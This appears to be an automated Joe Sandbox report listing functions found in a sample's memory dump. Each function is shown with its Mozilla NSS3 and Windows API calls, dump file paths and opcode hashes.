PORT_Strdup_Util.NSS3(6CBC0148,00000000,00000000,6CBC0148,?,6CA873A4,?,00000027,00000022), ref: 6CAD4788

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: a68d4785b872f5f2a4d6547a731a626de649dbf7b382d6c3a948b65aa5cd64c8
Instruction ID: 4a88d6d965dfd3a4baca4dd4b93d5f27ae56ada93b5bb7cc8b274a9c5ff21b5a
Opcode Fuzzy Hash: a68d4785b872f5f2a4d6547a731a626de649dbf7b382d6c3a948b65aa5cd64c8
Instruction Fuzzy Hash: 5431086A6496C54FE7020B395CA13F72FAA4B4B15DF1E0068ECEAC7B12D613A48D8791

Function 6CAB87A0 Relevance: 7.6, APIs: 5, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,00000000,00000000,00000000,?,6CAB95A0), ref: 6CAB87B3

Part of subcall function 6CACBE30: SECOID_FindOID_Util.NSS3(6CA8311B,00000000,?,6CA8311B,?), ref: 6CACBE44

PORT_NewArena_Util.NSS3(00000800,6CAB95A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8829
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,6CAB95A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8842
SEC_ASN1DecodeItem_Util.NSS3(?,00000000,6CB9D8C4,?,?,?,?,6CAB95A0), ref: 6CAB8872
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CAB95A0), ref: 6CAB88CE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena_$AlgorithmAlloc_ArenaDecodeFindFreeItem_Tag_
String ID:
API String ID: 906083512-0
Opcode ID: de9b37704431d771765d51b348207a7ee53bb0884601850fca5f4c7e1cfb8aaf
Instruction ID: 65e465cbd8233c3ded1142f9a0353521bffd8d88ded3eafd4a326e3abbdb35e4
Opcode Fuzzy Hash: de9b37704431d771765d51b348207a7ee53bb0884601850fca5f4c7e1cfb8aaf
Instruction Fuzzy Hash: CE316872E0111687FB108AADDC48BAB325DFB413A8F09067BD805B7E84E730D8D887D2

Function 6CB02460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6CBA7379,00000002,?), ref: 6CB02493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB024B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6CBA7379,00000002,?), ref: 6CB024EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6CBA7379,00000002,?), ref: 6CB024F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6CBA7379,00000002,?), ref: 6CB024FE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: f197a060959d3fbde428e2cde18390118866f46fedc8090bb9cf1cdcc9c22bcc
Instruction ID: 8e098bbdc6860a43cbbd7d88316216545734a6a2f23861f249ed020bd0895d8d
Opcode Fuzzy Hash: f197a060959d3fbde428e2cde18390118866f46fedc8090bb9cf1cdcc9c22bcc
Instruction Fuzzy Hash: 5A31B2B1B00195ABEB008FA5DC45BBF7BA8EF58308F104125FE1997A90E774D958C7A2

Function 6CB08530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CB08549
TlsGetValue.KERNEL32 ref: 6CB085CF
TlsGetValue.KERNEL32 ref: 6CB085FE
TlsGetValue.KERNEL32 ref: 6CB08629
memcpy.VCRUNTIME140 ref: 6CB08655

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: 59b305eb2b8ddf6cf4b59d879c055f4056447549aa98e4cc17291a7541a7a716
Instruction ID: 818e1d422b08f53c6ed7d9003c6418a6e5f0eb42332cf514cd6fcc848e15b2fc
Opcode Fuzzy Hash: 59b305eb2b8ddf6cf4b59d879c055f4056447549aa98e4cc17291a7541a7a716
Instruction Fuzzy Hash: 9D418F70705781CBEB00AF79D54476ABFB4FF46308F12862AD89887B61DB31E594CB86

Function 6CA6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6EEEB
free.MOZGLUE(?), ref: 6CA6EEF6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: c5223458e80b2a9a9f4c159db29edab86a4cc13fe237ccaa4303a288bf1a5ab5
Instruction ID: 32f5ce9262fa9e8f0ef0500f490e7504648db16e53f6f1a65c8ea84f3c912400
Opcode Fuzzy Hash: c5223458e80b2a9a9f4c159db29edab86a4cc13fe237ccaa4303a288bf1a5ab5
Instruction Fuzzy Hash: 853126B1A00641BBEB209F2ECC44B667BF4FB46714F180529E95A87F50D731E994CBE2

Function 6CB8A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB8A55C
PR_IntervalNow.NSS3 ref: 6CB8A573
PR_IntervalNow.NSS3 ref: 6CB8A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6CB8A603

Part of subcall function 6CB39890: TlsGetValue.KERNEL32(?,?,?,6CB397EB), ref: 6CB3989E

_PR_MD_UNLOCK.NSS3(?), ref: 6CB8A636

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 86cf9095833cce0444a65641e50d3eae52a1cba5bdfc4b57f6cf6dbffeb7539c
Instruction ID: aa389fe6fe8fd4451892a8358b783e02175e8171e817860e10701a9621d47149
Opcode Fuzzy Hash: 86cf9095833cce0444a65641e50d3eae52a1cba5bdfc4b57f6cf6dbffeb7539c
Instruction Fuzzy Hash: 7C316FB1A02255CFCB00DF29C8C0A9ABBB5FF44359F158165D8189BB96E730EC85CF91

Function 6CA986D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA98716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA98727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA9873B
PR_Unlock.NSS3(?), ref: 6CA9876F
PR_SetError.NSS3(00000000,00000000), ref: 6CA98787

Part of subcall function 6CA979F0: memcpy.VCRUNTIME140(?,6CB9AB28,000000FC), ref: 6CA97A1E
Part of subcall function 6CA979F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA97A48

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: 7296259a7e4e8c946f74c06e51f4cfc5dde38de61cc26985a210a05e2cd39cd2
Instruction ID: 81453bb07fc970bb045270edde3aff774f59726f8622a8c38060e13613660569
Opcode Fuzzy Hash: 7296259a7e4e8c946f74c06e51f4cfc5dde38de61cc26985a210a05e2cd39cd2
Instruction Fuzzy Hash: 2631F976A10204AFDF009F64DC42A9B77F9EF45318F154025FD199BB11EB31E998CBA1

Function 6CA744D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CA744FF

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

SECOID_FindOID_Util.NSS3(?), ref: 6CA74524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA74537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CA74579

Part of subcall function 6CA741B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CA741BE
Part of subcall function 6CA741B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA741E9
Part of subcall function 6CA741B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CA74227
Part of subcall function 6CA741B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CA7423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA7459C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: cd8a476e090545ba2baff0cf355be5659c3170897dc1ed63e2e832050a73f0f4
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: A321A1797456109BEB30CA699C44B6B37A8BF41759F190428AC198BA41E721ED84CFB1

Function 6CA7A6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6CA7A2FA,00000000,6CA7A2FA,00000000), ref: 6CA7A6E4

Part of subcall function 6CA71DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA71E0B
Part of subcall function 6CA71DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA71E24

TlsGetValue.KERNEL32(?,?,?,?,6CA7A2FA,00000000), ref: 6CA7A723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA7A2FA,00000000), ref: 6CA7A733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA7A2FA,00000000), ref: 6CA7A74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6CA7A2FA,00000000), ref: 6CA7A774

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 154fecfa88ac137958a10369f1b428bb22c7f293f288718ca0e7df1d951acdc4
Instruction ID: b7028368cbb0743787ac1ac3f99da6193dca76b3bc78172f07260ea132625b3b
Opcode Fuzzy Hash: 154fecfa88ac137958a10369f1b428bb22c7f293f288718ca0e7df1d951acdc4
Instruction Fuzzy Hash: 43210979A01600ABE7205E298C4176B77B9FF4A268F184428EC68C7741FB34ECC486F2

Function 6CA7E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CA7E755,00000000,00000004,?,?), ref: 6CA7E5F5

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CA7E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CA7E63E

Part of subcall function 6CACF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CA6F379,?,00000000,-00000002), ref: 6CACF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CA7E65C

Part of subcall function 6CA9DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA9DDEC
Part of subcall function 6CA9DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6CA9DE70
Part of subcall function 6CA9DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CA9DE83
Part of subcall function 6CA9DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6CA9DE95
Part of subcall function 6CA9DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CA9DEAE
Part of subcall function 6CA9DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA9DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CA7E68E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 432b354d7454d6ade8adb738f61a9c85852fd4c34bde8ccd385d898acf706ebd
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: A621297A7012006FFB104EA5DD40FE77799AF80658F194138ED1D9BA51E721DDA8C2E1

Function 6CA7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CA73FFF,00000000,?,?,?,?,?,6CA71A1C,00000000,00000000), ref: 6CA7ADA7

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CA73FFF,00000000,?,?,?,?,?,6CA71A1C,00000000,00000000), ref: 6CA7ADB4

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CA73FFF,?,?,?,?,6CA73FFF,00000000,?,?,?,?,?,6CA71A1C,00000000), ref: 6CA7ADD5

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CB994B0,?,?,?,?,?,?,?,?,6CA73FFF,00000000,?), ref: 6CA7ADEC

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA73FFF), ref: 6CA7AE3C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: b164e9039d51046af44a34005fd81d0ba068d4446d0c8681007983ea36225dd0
Instruction ID: 0b86f1911fc05ee45857779564577a3188ef3f18ab7e47cb4662ec0053a33594
Opcode Fuzzy Hash: b164e9039d51046af44a34005fd81d0ba068d4446d0c8681007983ea36225dd0
Instruction Fuzzy Hash: 71112675E002146BE7209A659D41BBF73B9EF9525DF044228EC1996B41FB20E99C82F2

Function 6CA98E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA84F1C), ref: 6CA98EA2

Part of subcall function 6CABF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CABF854
Part of subcall function 6CABF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CABF868
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CABF882
Part of subcall function 6CABF820: free.MOZGLUE(04C483FF,?,?), ref: 6CABF889
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CABF8A4
Part of subcall function 6CABF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CABF8AB
Part of subcall function 6CABF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CABF8C9
Part of subcall function 6CABF820: free.MOZGLUE(280F10EC,?,?), ref: 6CABF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CAB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA84F1C), ref: 6CA98EC3
TlsGetValue.KERNEL32(?,?,?,6CAB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA84F1C), ref: 6CA98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CA98EF1
PR_Unlock.NSS3 ref: 6CA98F20

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: bdcf4e232bb822c3e7731f6f109ef83bb41556b8836db3d2b2a2fcb45476b6cc
Instruction ID: 696d9a1dce22cc8e1e76eb6d57b8c2eb62ec895f6f30d94b90a4341276a4dd68
Opcode Fuzzy Hash: bdcf4e232bb822c3e7731f6f109ef83bb41556b8836db3d2b2a2fcb45476b6cc
Instruction Fuzzy Hash: AC218B74A096059FCB00AF39D588299BBF4FF48318F05856EEC989BB41D730E894CBC2

Function 6CAD26A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6CAD26DD

Part of subcall function 6CAD5DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CAD5E08
Part of subcall function 6CAD5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAD5E3F
Part of subcall function 6CAD5DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CAD5E5C
Part of subcall function 6CAD5DE0: free.MOZGLUE(00000000), ref: 6CAD5E7E
Part of subcall function 6CAD5DE0: free.MOZGLUE(00000000), ref: 6CAD5E97
Part of subcall function 6CAD5DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6CAD5EA5
Part of subcall function 6CAD5DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CAD5EBB
Part of subcall function 6CAD5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAD5ECB
